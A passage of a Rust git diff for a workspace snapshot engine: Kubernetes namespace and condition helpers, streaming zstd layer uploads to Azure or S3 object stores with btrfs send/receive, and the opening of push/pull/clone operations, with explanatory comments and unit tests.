ws_namespace(owner: &str, team: &str) -> String { + let owner = owner.to_lowercase(); + if team.is_empty() || team.eq_ignore_ascii_case(&owner) { + return dns_label(&format!("ws-{owner}")); + } + dns_label(&format!("wt-{owner}-{}", pair_tail(&team.to_lowercase(), &owner))) +} + +/// A namespace name is an RFC 1123 label: 63 characters at most. Two 39-character handles and +/// the prefix can reach 82, so a long pair is cut and given a hash tail — the tail is what keeps +/// two pairs that share a prefix apart. Deterministic, so the controller and the API agree. +fn dns_label(raw: &str) -> String { + if raw.len() <= 63 { + return raw.to_string(); + } + let tail = hex_prefix(raw, 4); + let head = raw[..63 - tail.len() - 1].trim_end_matches('-'); + format!("{head}-{tail}") +} + +/// The namespace an environment's deployments and services live in. One namespace per environment +/// is what makes a default-deny NetworkPolicy the isolation boundary. +/// +/// Idempotent, because environment ids are already minted as `env-{hex}` (`api::rid("env")`) and +/// prefixing unconditionally produced `env-env-{hex}` — valid, and wrong every time anyone read it. +/// Written this way rather than by dropping the prefix so an id whose shape changes still lands in +/// a namespace that says what it is. +pub fn env_namespace(id: &str) -> String { + let id = id.to_lowercase(); + match id.strip_prefix("env-") { + Some(rest) => format!("env-{rest}"), + None => format!("env-{id}"), + } +} + +/// Every CRD this repo owns, for YAML generation and for a startup precondition check. +pub fn all_crds() -> Vec { + vec![ + Volume::crd(), + Workspace::crd(), + Environment::crd(), + OwnerBinding::crd(), + SnapshotRequest::crd(), + ] +} + +/// Condition type set once `status.packages` reflects a successful build of `spec.packages` — +/// named here, not in the agent, because it describes a status field this file owns rather than +/// a controller-local fact like `NAMESPACE_READY`. +pub const PACKAGES_READY: &str = "PackagesReady"; + +/// A standard condition with `observedGeneration` stamped. +/// +/// `meta/v1.Condition` rather than a bespoke struct, because it is the shape +/// `kubectl wait --for=condition=Ready` already reads. +pub fn condition(kind: &str, status: bool, reason: &str, message: &str, generation: i64) -> Condition { + condition_since(None, kind, status, reason, message, generation) +} + +/// The same, keeping `prev`'s `lastTransitionTime` when nothing actually transitioned. The field +/// means "since when has it been in THIS state" — restamping it on every identical write turns +/// "failing for an hour" into "failing since a moment ago", which is exactly the signal a backoff +/// reads. +pub fn condition_since( + prev: Option<&Condition>, + kind: &str, + status: bool, + reason: &str, + message: &str, + generation: i64, +) -> Condition { + let mut c = condition_now(kind, status, reason, message, generation); + if let Some(p) = prev { + if p.status == c.status && p.reason == c.reason { + c.last_transition_time = p.last_transition_time.clone(); + } + } + c +} + +fn condition_now(kind: &str, status: bool, reason: &str, message: &str, generation: i64) -> Condition { + Condition { + type_: kind.to_string(), + status: if status { "True" } else { "False" }.to_string(), + reason: reason.to_string(), + message: message.to_string(), + observed_generation: Some(generation), + // The API server rejects a condition with no transition time, and a reconcile has no + // better clock than now. `jiff`, not chrono: k8s-openapi 0.28 wraps `jiff::Timestamp` + // here, so this is the one place in the crate that does not use the workspace's chrono. + last_transition_time: k8s_openapi::apimachinery::pkg::apis::meta::v1::Time( + k8s_openapi::jiff::Timestamp::now(), + ), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + /// The backoff on a repeatedly failing build reads `lastTransitionTime` to know how long it + /// has been failing — so an identical condition written again must keep the earlier stamp, + /// and a changed reason must not. + #[test] + fn a_repeated_condition_keeps_the_time_it_first_transitioned() { + let mut first = condition("PackagesReady", false, "BuildFailed", "boom", 1); + first.last_transition_time = k8s_openapi::apimachinery::pkg::apis::meta::v1::Time( + k8s_openapi::jiff::Timestamp::UNIX_EPOCH, + ); + let again = condition_since(Some(&first), "PackagesReady", false, "BuildFailed", "boom again", 2); + assert_eq!(again.last_transition_time, first.last_transition_time); + assert_eq!(again.message, "boom again"); + let changed = condition_since(Some(&first), "PackagesReady", true, "Built", "ok", 2); + assert_ne!(changed.last_transition_time, first.last_transition_time); + } + + #[test] + fn workspace_status_carries_packages_and_omits_it_when_unset() { + let st = WorkspaceStatus::default(); + assert!(!serde_json::to_string(&st).unwrap().contains("packages")); + let st = WorkspaceStatus { + packages: Some(PackagesStatus { + base: vec![], + observed: vec!["go".into()], + observed_hash: Some("sha256:x".into()), + profile: None, + nixpkgs: None, + }), + ..Default::default() + }; + let v = serde_json::to_value(&st).unwrap(); + assert_eq!(v["packages"]["observed"][0], "go"); + assert_eq!(v["packages"]["observedHash"], "sha256:x"); + } + + #[test] + fn workspace_spec_carries_packages_and_omits_it_when_empty() { + let mut spec = WorkspaceSpec { + owner: "o".into(), + team: String::new(), + name: "n".into(), + region: "r".into(), + image: "i".into(), + storage: None, + desired_state: DesiredState::Running, + restore: None, + resources: PodResources::default(), + node_name: None, + volume_ref: None, + packages: vec![], + }; + assert!(!serde_json::to_string(&spec).unwrap().contains("packages")); + spec.packages = vec!["go".into(), "jq".into()]; + let v = serde_json::to_value(&spec).unwrap(); + assert_eq!(v["packages"][0], "go"); + let back: WorkspaceSpec = serde_json::from_value(v).unwrap(); + assert_eq!(back, spec); + } +} diff --git a/crates/workspaces/src/engine/blob.rs b/crates/workspaces/src/engine/blob.rs new file mode 100644 index 00000000..9734682b --- /dev/null +++ b/crates/workspaces/src/engine/blob.rs @@ -0,0 +1,436 @@ +//! Blob IO: layer stores, streaming compressed upload/download, and btrfs send/receive glue. + +use crate::model::LayerKind; +use object_store::{ObjectStore, ObjectStoreExt, PutPayload, path::Path as S3Path}; +use serde::{Deserialize, Serialize}; +use std::future::Future; +use std::io::{Read, Write}; +use std::path::{Path, PathBuf}; +use std::process::{Command, Stdio}; +use std::sync::Arc; + +/// Sidecar written next to every layer blob at `layers/{uuid}.json`, so fsck can rebuild +/// lineage from object-store listings alone when `Snapshot` docs are lost. `parent_blob` is +/// the blob id of the layer this one was pushed/squashed on top of (`None` for a lineage root); +/// `snap_uuid` is the local RO snapshot name a block layer materializes (`LineageEntry.snap`). +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct LayerSidecar { + pub kind: LayerKind, + pub parent_blob: Option, + pub snap_uuid: Option, + pub sha256: String, + pub raw: u64, + pub stored: u64, + pub created_at: chrono::DateTime, +} + +/// Written right after `upload_stream` returns and before the record commit: a crash in +/// between leaves an orphan blob+sidecar, which is safe — fsck still finds it, as a degenerate +/// single-entry candidate tip nothing else chains onto, but nobody has reason to `adopt` a +/// 1-layer tip over the real lineage. +pub async fn write_sidecar(store: &dyn ObjectStore, blob_id: &str, s: &LayerSidecar) -> Result<(), String> { + let bytes = serde_json::to_vec(s).map_err(|e| e.to_string())?; + put_bytes(store, &format!("layers/{blob_id}.json"), bytes).await +} + +pub fn sha_hex(h: sha2::Sha256) -> String { + use sha2::Digest; + h.finalize().iter().map(|b| format!("{b:02x}")).collect() +} + +/// How long one blob object may take, and how hard object_store retries under that. +/// +/// Both are bounds on the SAME failure: a store that answers neither yes nor no. The default +/// retry budget is three minutes of invisible waiting, and nothing above it had a deadline at +/// all — a restore reading a container it cannot see sat in `phase: working` with the message +/// "btrfs operation in flight" until someone looked. A blob is either fetched or it is an error. +/// This bounds READS. Uploads are not covered by it: `upload_stream`/`upload_file` are bounded +/// only by object_store's own per-request timeout times the retry budget below, which is the right +/// shape for a push (a multi-gigabyte layer legitimately takes longer than any read) — but it does +/// mean a stalled push is bounded far more loosely than a stalled restore. +/// +/// It bounds the GET and then EACH CHUNK of the body, never the body as a whole: a flat deadline +/// over the collect made every layer larger than 120 s × link bandwidth (≈2.4 GB at 20 MB/s) an +/// unrestorable volume, settled `FetchFailed` for good. Per chunk, a slow link is merely slow and +/// only a silent one is an error. +pub const GET_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(120); + +fn retry() -> object_store::RetryConfig { + object_store::RetryConfig { + max_retries: 3, + retry_timeout: GET_TIMEOUT, + ..Default::default() + } +} + +/// Azure Blob layer store for one region: account/key/container come from the region's +/// Cosmos record (Task 2's `model::Region`). +pub fn region_store(account: &str, key: &str, container: &str) -> Arc { + Arc::new( + object_store::azure::MicrosoftAzureBuilder::new() + .with_account(account) + .with_access_key(key) + .with_container_name(container) + .with_retry(retry()) + .build() + .expect("build azure object store"), + ) +} + +/// Per-region credentials the agent's Secret carries for regions OTHER than its own, as +/// `AZURE_REGION__ACCOUNT` / `_KEY` / `_CONTAINER` with the region id uppercased and `-` +/// replaced by `_` (`centralindia-vm` → `AZURE_REGION_CENTRALINDIA_VM_*`). +/// +/// Env, not Cosmos: a `Region` record deliberately carries no account KEY, and giving the agent +/// a Cosmos writer's view of every region's secrets to read one of them is a larger blast radius +/// than a Secret key per region it is actually allowed to read. +/// ponytail: one env triple per extra region, so a new region is a Secret edit and a pod restart; +/// a per-region Kubernetes Secret projected by the controller is the upgrade if that stops +/// scaling. +pub fn region_stores_from_env() -> std::collections::HashMap> { + region_triples(std::env::vars()) + .into_iter() + .map(|(id, a, k, c)| (id, region_store(&a, &k, &c))) + .collect() +} + +/// The pure half of `region_stores_from_env`, so the naming rule has a test that does not have to +/// mutate the process environment. An incomplete triple is skipped and logged, never half-built. +fn region_triples(vars: impl Iterator) -> Vec<(String, String, String, String)> { + let all: std::collections::HashMap = vars.collect(); + let mut out = vec![]; + for (k, account) in &all { + let Some(id) = k.strip_prefix("AZURE_REGION_").and_then(|r| r.strip_suffix("_ACCOUNT")) else { continue }; + let (Some(key), Some(container)) = + (all.get(&format!("AZURE_REGION_{id}_KEY")), all.get(&format!("AZURE_REGION_{id}_CONTAINER"))) + else { + tracing::warn!(region = %id, "AZURE_REGION_*_ACCOUNT without a matching _KEY/_CONTAINER; ignoring"); + continue; + }; + out.push((id.to_ascii_lowercase().replace('_', "-"), account.clone(), key.clone(), container.clone())); + } + out +} + +/// MinIO/S3 fallback for tests: `S3_URL` (default local MinIO), fixed dev creds. +pub fn s3_store() -> Arc { + Arc::new( + object_store::aws::AmazonS3Builder::new() + .with_endpoint(std::env::var("S3_URL").unwrap_or("http://127.0.0.1:9000".into())) + .with_bucket_name("wslayers") + .with_access_key_id("admin") + .with_secret_access_key("adminadmin") + .with_allow_http(true) + .with_region("us-east-1") + .with_retry(retry()) + .build() + .expect("build s3 object store"), + ) +} + +/// Only a blob the store says is absent or forbidden is the spec's (or the deploy's) fault, and +/// only those carry the `FETCH_FAILED` marker the agent settles on permanently. A timeout, a 5xx, +/// a reset — those are the world's, and the agent retries them. +fn fetch_err(key: &str, e: object_store::Error) -> String { + use object_store::Error::{NotFound, PermissionDenied, Unauthenticated}; + match e { + NotFound { .. } | PermissionDenied { .. } | Unauthenticated { .. } => { + format!("{}: {key}: {e}", super::ops::FETCH_FAILED) + } + e => format!("{key}: {e}"), + } +} + +pub type ByteStream = futures::stream::BoxStream<'static, object_store::Result>; + +/// The GET under `GET_TIMEOUT`; the body is read through `next_chunk`, each chunk under its own. +/// Every layer fetch in the restore/pull path comes through these two, so the deadlines live +/// here rather than at each call site. +pub async fn get_stream(store: &dyn ObjectStore, key: &str) -> Result { + deadline(key, async { store.get(&S3Path::from(key)).await.map_err(|e| fetch_err(key, e)) }) + .await + .map(|r| r.into_stream()) +} + +/// One chunk under `GET_TIMEOUT` — an inactivity deadline, not a whole-body one (see the const). +pub async fn next_chunk(key: &str, s: &mut ByteStream) -> Result, String> { + use futures::StreamExt; + match tokio::time::timeout(GET_TIMEOUT, s.next()).await { + Ok(Some(Ok(b))) => Ok(Some(b)), + Ok(Some(Err(e))) => Err(format!("{key}: {e}")), + Ok(None) => Ok(None), + Err(_) => Err(format!("{key}: stalled mid-body, no data for {}s", GET_TIMEOUT.as_secs())), + } +} + +/// Whole-object read, for stream layers that `btrfs receive` needs in one piece. +pub async fn get_bytes(store: &dyn ObjectStore, key: &str) -> Result, String> { + let mut s = get_stream(store, key).await?; + let mut out = Vec::new(); + while let Some(b) = next_chunk(key, &mut s).await? { + out.extend_from_slice(&b); + } + Ok(out) +} + +/// `GET_TIMEOUT` around one object-store await, with the key in the message — a timeout that +/// does not say what it was reading is the same silence, one layer up. +pub async fn deadline(key: &str, f: impl Future>) -> Result { + match tokio::time::timeout(GET_TIMEOUT, f).await { + Ok(r) => r, + Err(_) => Err(format!("{key}: timed out after {}s", GET_TIMEOUT.as_secs())), + } +} + +pub async fn put_bytes(store: &dyn ObjectStore, key: &str, b: Vec) -> Result<(), String> { + store.put(&S3Path::from(key), PutPayload::from(b)).await.map_err(|e| e.to_string())?; + Ok(()) +} + +const CHUNK: usize = 32 << 20; + +/// Sends chunks produced by a compressing thread into the async uploader. +struct ChanWriter { + tx: tokio::sync::mpsc::Sender>, + buf: Vec, +} + +impl Write for ChanWriter { + fn write(&mut self, d: &[u8]) -> std::io::Result { + self.buf.extend_from_slice(d); + if self.buf.len() >= CHUNK { + let full = std::mem::take(&mut self.buf); + self.tx.blocking_send(full).map_err(|_| std::io::Error::other("upload gone"))?; + } + Ok(d.len()) + } + fn flush(&mut self) -> std::io::Result<()> { + Ok(()) + } +} + +/// Streaming layer upload: reader -> (zstd | raw) -> multipart, all three overlapped, so +/// wall time is max(produce, network) instead of their sum. Multipart parts retry +/// independently — a single giant PUT dies to the retry timeout on a slow uplink. +/// The blob's first byte says how the rest is encoded: 'z' zstd, 'r' raw — chosen by +/// test-compressing the first chunk, so incompressible payloads skip zstd entirely. +pub async fn upload_stream( + store: &dyn ObjectStore, + key: &str, + mut r: impl Read + Send + 'static, +) -> Result<(u64, u64, String), String> { + // Read the first chunk and decide the mode from what zstd does to it. + let mut first = vec![0u8; CHUNK]; + let mut n = 0; + while n < CHUNK { + let k = r.read(&mut first[n..]).map_err(|e| e.to_string())?; + if k == 0 { + break; + } + n += k; + } + first.truncate(n); + let sample_len = first.len().min(4 << 20); + let compressible = zstd::bulk::compress(&first[..sample_len], 1) + .map(|c| (c.len() as f64) < 0.97 * (sample_len.clamp(1, 4 << 20) as f64)) + .unwrap_or(true); + + let (tx, mut rx) = tokio::sync::mpsc::channel::>(4); + let raw_count = Arc::new(std::sync::atomic::AtomicU64::new(0)); + let rc = raw_count.clone(); + let producer = std::thread::spawn(move || -> Result<(), String> { + struct Counted(R, Arc); + impl Read for Counted { + fn read(&mut self, b: &mut [u8]) -> std::io::Result { + let k = self.0.read(b)?; + self.1.fetch_add(k as u64, std::sync::atomic::Ordering::Relaxed); + Ok(k) + } + } + rc.fetch_add(first.len() as u64, std::sync::atomic::Ordering::Relaxed); + let mut src = Counted(r, rc); + let mut w = ChanWriter { tx, buf: Vec::new() }; + if compressible { + let mut enc = zstd::Encoder::new(&mut w, 1).map_err(|e| e.to_string())?; + let _ = enc.multithread(4); + enc.write_all(&first).map_err(|e| e.to_string())?; + std::io::copy(&mut src, &mut enc).map_err(|e| e.to_string())?; + enc.finish().map_err(|e| e.to_string())?; + } else { + w.write_all(&first).map_err(|e| e.to_string())?; + std::io::copy(&mut src, &mut w).map_err(|e| e.to_string())?; + } + if !w.buf.is_empty() { + let last = std::mem::take(&mut w.buf); + w.tx.blocking_send(last).map_err(|_| "upload gone".to_string())?; + } + Ok(()) + }); + + let upload = store.put_multipart(&S3Path::from(key)).await.map_err(|e| e.to_string())?; + let mut w = object_store::WriteMultipart::new_with_chunk_size(upload, CHUNK); + let mut hasher = ::new(); + let mode: &[u8] = if compressible { b"z" } else { b"r" }; + sha2::Digest::update(&mut hasher, mode); + w.write(mode); + let mut comp = 1u64; + while let Some(chunk) = rx.recv().await { + comp += chunk.len() as u64; + sha2::Digest::update(&mut hasher, &chunk); + w.wait_for_capacity(10).await.map_err(|e| e.to_string())?; + w.write(&chunk); + } + producer.join().map_err(|_| "producer panicked".to_string())??; + w.finish().await.map_err(|e| e.to_string())?; + Ok((raw_count.load(std::sync::atomic::Ordering::Relaxed), comp, sha_hex(hasher))) +} + +/// Counts bytes and hashes them (post-compression, matching `upload_stream`'s hash-of-stored- +/// bytes convention) while writing to a local file — the sink `compress_to_file` drives either +/// directly (raw mode) or through a `zstd::Encoder` (compressed mode). +struct CountHash { + f: std::io::BufWriter, + h: sha2::Sha256, + n: u64, +} +impl Write for CountHash { + fn write(&mut self, d: &[u8]) -> std::io::Result { + use sha2::Digest; + self.h.update(d); + self.n += d.len() as u64; + self.f.write_all(d)?; + Ok(d.len()) + } + fn flush(&mut self) -> std::io::Result<()> { + self.f.flush() + } +} + +/// Local-only twin of `upload_stream`: same mode-detection and zstd-compression shape, but the +/// (mode-byte + compressed) bytes land in `dest` on disk instead of an object-store multipart — +/// this is what `push`'s internal staging phase uses so the snapshot step never touches the +/// network. Returns +/// `(raw, stored, sha256)` with the same meaning as `upload_stream`'s tuple; `push` later +/// uploads `dest` verbatim, so the sha computed here is exactly what `pull_core`'s corruption +/// check re-derives from the downloaded bytes. +pub fn compress_to_file(mut r: impl Read, dest: &Path) -> Result<(u64, u64, String), String> { + if let Some(parent) = dest.parent() { + std::fs::create_dir_all(parent).map_err(|e| e.to_string())?; + } + let mut first = vec![0u8; CHUNK]; + let mut n = 0; + while n < CHUNK { + let k = r.read(&mut first[n..]).map_err(|e| e.to_string())?; + if k == 0 { + break; + } + n += k; + } + first.truncate(n); + let sample_len = first.len().min(4 << 20); + let compressible = zstd::bulk::compress(&first[..sample_len], 1) + .map(|c| (c.len() as f64) < 0.97 * (sample_len.clamp(1, 4 << 20) as f64)) + .unwrap_or(true); + + let f = std::fs::File::create(dest).map_err(|e| e.to_string())?; + let mut raw: u64 = first.len() as u64; + let mut ch = CountHash { f: std::io::BufWriter::new(f), h: ::new(), n: 0 }; + let mode: &[u8] = if compressible { b"z" } else { b"r" }; + ch.write_all(mode).map_err(|e| e.to_string())?; + if compressible { + let mut enc = zstd::Encoder::new(&mut ch, 1).map_err(|e| e.to_string())?; + let _ = enc.multithread(4); + enc.write_all(&first).map_err(|e| e.to_string())?; + let mut buf = vec![0u8; CHUNK]; + loop { + let k = r.read(&mut buf).map_err(|e| e.to_string())?; + if k == 0 { + break; + } + raw += k as u64; + enc.write_all(&buf[..k]).map_err(|e| e.to_string())?; + } + enc.finish().map_err(|e| e.to_string())?; + } else { + ch.write_all(&first).map_err(|e| e.to_string())?; + let mut buf = vec![0u8; CHUNK]; + loop { + let k = r.read(&mut buf).map_err(|e| e.to_string())?; + if k == 0 { + break; + } + raw += k as u64; + ch.write_all(&buf[..k]).map_err(|e| e.to_string())?; + } + } + ch.flush().map_err(|e| e.to_string())?; + Ok((raw, ch.n, sha_hex(ch.h))) +} + +/// Uploads an already-compressed local file (as `compress_to_file` wrote it) verbatim — no +/// re-compression, no re-hashing. `push` uses this for staged commits; whole-file `read` is a +/// deliberate simplification (layers here are the delta/squash-threshold size, not unbounded) +/// over a second streaming path — upgrade to a chunked read if a single layer routinely exceeds +/// memory. +/// ponytail: whole-file read, add multipart-from-file streaming if layer sizes force it. +pub async fn upload_file(store: &dyn ObjectStore, key: &str, path: &Path) -> Result<(), String> { + let bytes = std::fs::read(path).map_err(|e| e.to_string())?; + put_bytes(store, key, bytes).await +} + +/// Spawn `btrfs send` for the snapshot at `path` (incremental against `parent` when given), +/// handing back the child so its stdout can stream straight into the uploader. +pub fn spawn_send(path: &Path, parent: Option) -> Result { + let mut cmd = Command::new("btrfs"); + cmd.args(["send", "-q"]); + if let Some(p) = parent { + cmd.arg("-p").arg(p); + } + cmd.arg(path); + cmd.stdout(Stdio::piped()).stderr(Stdio::piped()).spawn().map_err(|e| e.to_string()) +} + +/// Decode a layer blob (leading mode byte, then zstd or raw) into `btrfs receive` at `dir`. +pub fn receive_into(dir: &Path, blob: &[u8]) -> Result<(), String> { + let (mode, comp) = blob.split_first().ok_or("empty blob")?; + let mut child = Command::new("btrfs") + .args(["receive", "-q", dir.to_str().unwrap()]) + .stdin(Stdio::piped()) + .stderr(Stdio::piped()) + .spawn() + .map_err(|e| e.to_string())?; + let mut stdin = child.stdin.take().unwrap(); + if *mode == b'z' { + let mut dec = zstd::Decoder::new(comp).map_err(|e| e.to_string())?; + std::io::copy(&mut dec, &mut stdin).map_err(|e| e.to_string())?; + } else { + stdin.write_all(comp).map_err(|e| e.to_string())?; + } + drop(stdin); + let st = child.wait_with_output().map_err(|e| e.to_string())?; + if !st.status.success() { + return Err(format!("btrfs receive: {}", String::from_utf8_lossy(&st.stderr))); + } + Ok(()) +} + +#[cfg(test)] +mod tests { + #[test] + fn a_region_triple_maps_back_to_the_region_id_and_an_incomplete_one_is_skipped() { + let vars = [ + ("AZURE_REGION_CENTRALINDIA_VM_ACCOUNT", "acct"), + ("AZURE_REGION_CENTRALINDIA_VM_KEY", "k"), + ("AZURE_REGION_CENTRALINDIA_VM_CONTAINER", "wslayers"), + ("AZURE_REGION_HALFDONE_ACCOUNT", "acct2"), + ("AZURE_ACCOUNT", "own-region-account"), + ] + .map(|(a, b)| (a.to_string(), b.to_string())); + let got = super::region_triples(vars.into_iter()); + assert_eq!( + got, + vec![("centralindia-vm".into(), "acct".into(), "k".into(), "wslayers".into())], + "only the complete triple, keyed by the region id as a CommitRecord spells it" + ); + } +} diff --git a/crates/workspaces/src/engine/mod.rs b/crates/workspaces/src/engine/mod.rs new file mode 100644 index 00000000..d06fc2ae --- /dev/null +++ b/crates/workspaces/src/engine/mod.rs @@ -0,0 +1,42 @@ +//! Snapshot engine: workspace = btrfs subvolume, snapshot = RO snapshot, delta = incremental +//! `btrfs send -p` stream, zstd-compressed, stored in the region's object store. +//! +//! Ported from `docs/superpowers/poc/wssnap/main.rs` (Azure-tested). Lineage model: every +//! layer blob is immutable, named by a UUID; a snapshot record stores the FULL ordered list +//! of layer entries from the base up to itself, so records are freely deletable and clones +//! share ancestors' blobs. `model::LineageEntry` carries the `s:{blob}:{sha}` / +//! `b:{blob}:{snap}:{sha}` encoding via `encode`/`parse`/`snap_name`. +//! +//! Object-store layout: +//! layers/{uuid}.zst zstd send stream or zstd block image +//! snaps/{uuid}.json {"lineage": ["s:...", "b:...:...", ...]} +//! refs/{ws} snapshot record uuid +//! +//! Pool layout: +//! {pool}/vol/{name}/live RW subvolume; for a block-restored workspace, {pool}/vol/{name} +//! is a loop mount of the image — its own filesystem. "vol" not "ws": +//! environments live here too, matching the registry's vol/{owner}/{id}. +//! {pool}/vol/{name}.lineage local ordered entry list for live (outside the mount on purpose) +//! {pool}/recv/{snap} RO snapshots on the shared pool fs — the local layer cache. +//! {pool}/img/{blob}.img decompressed block images backing mounted workspaces. +//! +//! Requires root: btrfs subvolume/send/receive/mount need it. + +pub mod blob; +pub mod ops; +pub mod pool; + +pub use ops::{CloneOut, EngErr, Engine, PullOut, PushOut}; +pub use pool::{Pool, is_mountpoint, migrate_ws_to_vol, ws_lock}; + +/// True when `btrfs` is on PATH and this process is root — every subvolume/send/receive/mount +/// call below needs both, so tests gate on this and skip cleanly where it's false (e.g. this +/// Mac, or any non-root CI runner). +pub fn have_btrfs() -> bool { + let has_binary = std::process::Command::new("btrfs") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false); + has_binary && unsafe { libc::geteuid() } == 0 +} diff --git a/crates/workspaces/src/engine/ops.rs b/crates/workspaces/src/engine/ops.rs new file mode 100644 index 00000000..584ceb50 --- /dev/null +++ b/crates/workspaces/src/engine/ops.rs @@ -0,0 +1,1116 @@ +//! Engine operations: push, pull, clone_local, clone_running, restore, squash. Ported from +//! `docs/superpowers/poc/wssnap/main.rs` (Azure-tested). `push` is the one user-facing mutating +//! verb: a local RO snapshot + lineage append (staged, marked `unpushed`), immediately followed +//! by uploading every unpushed entry's staged blob, POSTing their `CommitRecord`s to the volume +//! registry (`registry_client`), moving the registry ref, and clearing the marks — snapshot and +//! upload happen atomically from the caller's point of view. The two-phase shape survives only +//! internally, as the crash-recovery seam: if a push dies between staging and the registry call +//! landing, the stage files and `unpushed` marks are left in place so a retried push picks them +//! up rather than losing them or re-snapshotting. `push` also decides whether to auto-squash. +//! +//! `MetaStore`'s `put_snapshot`/`get_snapshot`/`Workspace.ref_`/`Environment.ref_` are no longer +//! read or written here (they're `fsck`'s recovery surface now, untouched by this module, and +//! the Cosmos `ref`/`volume` pointer on the workspace/environment doc itself is updated by the +//! job-done handler, not the engine). Lineage truth lives in two places: the local +//! `{pool}/vol/{id}.lineage` file (this pool's view, `unpushed`-tagged) and the registry's +//! `commit`/`ref` keyspace (durable, shared). +//! +//! Two ways a local copy gets made, picked by the caller (`bins/agent/src/lib.rs`'s `WsClone` +//! arm) on whether the source's container is running: `clone_local` for a stopped/never-pushed +//! source, `clone_running` for a live one. Both then route AGAIN on the same locality signal +//! (`src`'s live subvolume materialized on this pool, which a running container always implies): +//! local-first when true — no registry call, no push-first requirement, works on a source that's +//! never snapshotted at all — and only falls back to the registry-prefetch path (which DOES need +//! `src` to have pushed) when `src` genuinely lives elsewhere. `clone_local` was local-first from +//! the start; `clone_running` grew the same split after "clone a running, never-pushed workspace" +//! shipped broken — the registry path was the only one it had, so it hit `inherit`'s "clone +//! source has no snapshots; push first" for a case that never touches the network at all now. +//! Both back the one user-facing route, `POST /v1/workspaces/{id}/clone`. +//! +//! Clone semantics changed with the split: there is no more `copy_ref` duplicating a +//! `Snapshot` doc under the destination's id. Instead `clone_local` reads the source's history +//! from the registry, materializes it locally, and stages every inherited entry as `unpushed` +//! under the DESTINATION's id — the blobs are already in the shared object store (no re-upload), +//! but the destination's own `{owner}/{name}` commit/ref keyspace on the registry is empty until +//! its first `push` writes fresh `CommitRecord`s there and moves its own ref. A cloned +//! workspace that is never pushed has no registry history of its own — `pull` on it fails +//! clean, same as any workspace that's never been pushed. + +use crate::engine::{Pool, blob, is_mountpoint, ws_lock}; +use crate::model::{LayerKind, LineageEntry, Workspace}; +use crate::registry::CommitRecord; +use crate::registry_client::{MAIN_REF, RegistryClient}; +use crate::store::MetaStore; +use object_store::ObjectStore; +use std::collections::HashMap; +use std::io::Write; +use std::process::Stdio; +use std::sync::Arc; +use std::time::{Duration, Instant}; + +#[derive(Debug)] +pub struct EngErr(pub String); + +/// A restore whose snapshot id has no record behind it. Named because the agent classifies it as a +/// PERMANENT failure — the registry is the source of truth for snapshots, so "not there" is an +/// answer, not an outage, and retrying it once a minute forever only fills the log. +pub const NO_SUCH_RECORD: &str = "commit record not found"; + +/// A restore naming a region this node holds no credentials for. Permanent for the same reason: +/// no retry adds an env var, and the fix is a Secret edit. The message always names the region. +pub const REGION_UNREACHABLE: &str = "region unreachable"; + +/// A layer blob the store says is absent or forbidden (`blob::fetch_err` decides). Permanent as +/// well, and for the reason the 27 Aug hang made obvious — the restore that could not read its +/// blobs on this pass cannot read them on the next one either, and a `phase: working` volume that +/// never moves tells nobody anything. `phase: error` with the object-store's own message does. A +/// timeout or a 5xx is NOT this: those come back without the marker and are retried. +pub const FETCH_FAILED: &str = "layer fetch failed"; + +impl std::fmt::Display for EngErr { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{}", self.0) + } +} +impl std::error::Error for EngErr {} +impl From for EngErr { + fn from(s: String) -> Self { + EngErr(s) + } +} +impl EngErr { + pub(crate) fn io(e: std::io::Error) -> Self { + EngErr(e.to_string()) + } + pub(crate) fn other(s: impl Into) -> Self { + EngErr(s.into()) + } +} + +#[derive(Debug)] +pub struct PushOut { + pub layer: String, + pub sha: String, + pub raw: u64, + pub compressed: u64, + pub layers: usize, + pub squash_triggered: Option, + pub elapsed: Duration, +} + +#[derive(Debug)] +pub struct PullOut { + pub layers: usize, + pub fetched: usize, +} + +#[derive(Debug)] +pub struct CloneOut { + pub prefetched: Duration, + pub locked: Duration, + pub total: Duration, +} + +/// What `commit` stages locally next to the (optional) compressed blob at `Pool::stage_path` — +/// everything `push` needs to build the `CommitRecord` later without recomputing anything. +/// `raw`/`clen` are 0 and no sibling `.zst` exists for an entry `push` only needs to REGISTER, +/// not upload (a squash's block layer, already put to the store directly; an inherited +/// clone entry, already in the store under the source's push) — `push_core` tells the two +/// apart by whether `Pool::stage_path` exists. +#[derive(serde::Serialize, serde::Deserialize)] +struct StageMeta { + raw: u64, + clen: u64, + #[serde(default)] + state: serde_json::Value, + #[serde(default)] + message: Option, + created_at: chrono::DateTime, +} + +/// The kernel's uuid source, not a crate: this only ever runs on the btrfs host, where `/proc` is +/// always there. `Result` rather than `unwrap` anyway — a read failure here panicked the agent's +/// job thread mid-push. +fn uuid() -> Result { + std::fs::read_to_string("/proc/sys/kernel/random/uuid").map(|s| s.trim().to_string()).map_err(EngErr::io) +} + +fn run(argv: &[&str]) -> Result<(), EngErr> { + let out = std::process::Command::new(argv[0]) + .args(&argv[1..]) + .output() + .map_err(|e| EngErr::other(format!("spawn {}: {e}", argv[0])))?; + if !out.status.success() { + return Err(EngErr::other(format!("{argv:?}: {}", String::from_utf8_lossy(&out.stderr)))); + } + Ok(()) +} + +fn write_stage_meta(pool: &Pool, blob_id: &str, m: &StageMeta) -> Result<(), EngErr> { + std::fs::create_dir_all(pool.stage_dir()).map_err(EngErr::io)?; + let bytes = serde_json::to_vec(m).map_err(|e| EngErr::other(e.to_string()))?; + std::fs::write(pool.stage_meta_path(blob_id), bytes).map_err(EngErr::io) +} + +pub struct Engine { + pub pool: Pool, + pub store: Arc, + pub meta: Arc, + pub registry: RegistryClient, + /// The region `store` belongs to (`WS_REGION`). Everything this engine pushes lands here; + /// only a restore ever names a different one. + pub region: String, + /// Layer stores for OTHER regions, by region id — see `blob::region_stores_from_env`. Empty + /// on a single-region deployment, which is every deployment until a cross-region restore. + pub region_stores: HashMap>, + /// Delta size (MB) that forces a block layer. Env `WSSNAP_SQUASH_MB`, default 256. + pub squash_mb: u64, + /// Stream layers since the last block layer that force one. Env `WSSNAP_CHAIN_MAX`, default 50. + pub chain_max: usize, +} + +impl Engine { + pub fn new(pool: Pool, store: Arc, meta: Arc, registry: RegistryClient) -> Engine { + Engine { + pool, + store, + meta, + registry, + // Read here rather than threaded through four call sites: the same env the agent's own + // `Config` reads, and an engine that does not know its region cannot tell a + // cross-region restore from a local one. + region: 